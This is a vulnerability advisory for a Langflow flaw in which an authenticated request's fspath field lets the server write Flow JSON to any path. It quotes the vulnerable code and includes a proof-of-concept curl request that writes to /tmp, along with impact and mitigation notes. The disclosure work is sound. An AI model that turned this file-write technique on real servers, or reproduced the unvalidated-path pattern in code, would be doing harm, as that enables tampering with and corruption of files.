CVE-2025-68478: Langflow Vulnerable to External Control of File Name or Path

Vulnerability Overview

If an arbitrary path is specified in the request body's fspath, the server serializes the Flow object into JSON and creates/overwrites a file at that path. There is no path restriction, normalization, or allowed directory enforcement, so absolute paths (e.g., /etc/poc.txt) are interpreted as is.

Vulnerable Code

1. It receives the request body (flow), updates the DB, and then passes it to the file-writing sink. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L154-L168 python @router.post("/", responsemodel=FlowRead, statuscode=201) async def createflow( , session: DbSession, flow: FlowCreate, currentuser: CurrentActiveUser, ): try: dbflow = await newflow(session=session, flow=flow, userid=currentuser.id) await session.commit() await session.refresh(dbflow) await saveflowtofs(dbflow) except Exception as e: 2. Applies authentication dependency (requires API Key/JWT) when accessing the endpoint. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/utils/core.py#L36-L38 python CurrentActiveUser = Annotated[User, Depends(getcurrentactiveuser)] CurrentActiveMCPUser = Annotated[User, Depends(getcurrentactiveusermcp)] DbSession = Annotated[AsyncSession, Depends(getsession)] 3. The client can directly specify the save path, including fspath. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L66-L70 python ): try: await verifyfspath(flow.fspath) """Create a new flow.""" 4. It attempts to create the file (or the file, in the case of a path without a parent) directly without path validation. https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L45-L49 python async def verifyfspath(path: str | None) -> None: if path: path = Path(path) if not await path.exists(): await path.touch() 5. Serializes the Flow object to JSON and writes it to the specified path in "w" mode (overwriting). https://github.com/langflow-ai/langflow/blob/ac6e2d2eabeee28085f2739d79f7ce4205ca082c/src/backend/base/langflow/api/v1/flows.py#L52-L58 python async def saveflowtofs(flow: Flow) -> None: if flow.fspath: async with asyncopen(flow.fspath, "w") as f: try: await f.write(flow.modeldumpjson()) except OSError: await logger.aexception("Failed to write flow %s to path %s", flow.name, flow.fspath)

PoC Description

When an authenticated user passes an arbitrary path in fspath, the Flow JSON is written to that path. Since /tmp is usually writable, it is easy to reproduce. In a production environment, writing to system-protected directories may fail depending on permissions.

PoC

- Before Exploit

<img width="1918" height="658" alt="image" src="https://github.com/user-attachments/assets/fe3c2306-091d-4cb0-b4dc-c7fb63c03d8d" /> - After Exploit bash curl -sS -X POST "http://localhost:7860/api/v1/flows/" \ -H "Content-Type: application/json" \ -H "x-api-key: sk-8Kyzf9IQ-UEJOtSTaJq4eniMT9JKgZ7q8PNkoxc" \ -d '{"name":"poc-etc","data":{"nodes":[],"edges":[]},"fspath":"/tmp/POC.txt"}' <img width="1918" height="742" alt="image" src="https://github.com/user-attachments/assets/cc0b0c96-1c2d-4d56-b558-5ba97e0ec174" />

Impact

- Authenticated Arbitrary File Write (within server permission scope): Risk of corrupting configuration/log/task files, disrupting application behavior, and tampering with files read by other components. - Both absolute and relative paths are allowed, enabling base directory traversal. The risk of overwriting system files increases in environments with root privileges or weak mount/permission settings. - The file content is limited to Flow JSON, but the impact is severe if the target file is parsed by a JSON parser or is subject to subsequent processing. - In production environments, it is essential to enforce a save root, normalize paths, block symlink traversal, and minimize permissions.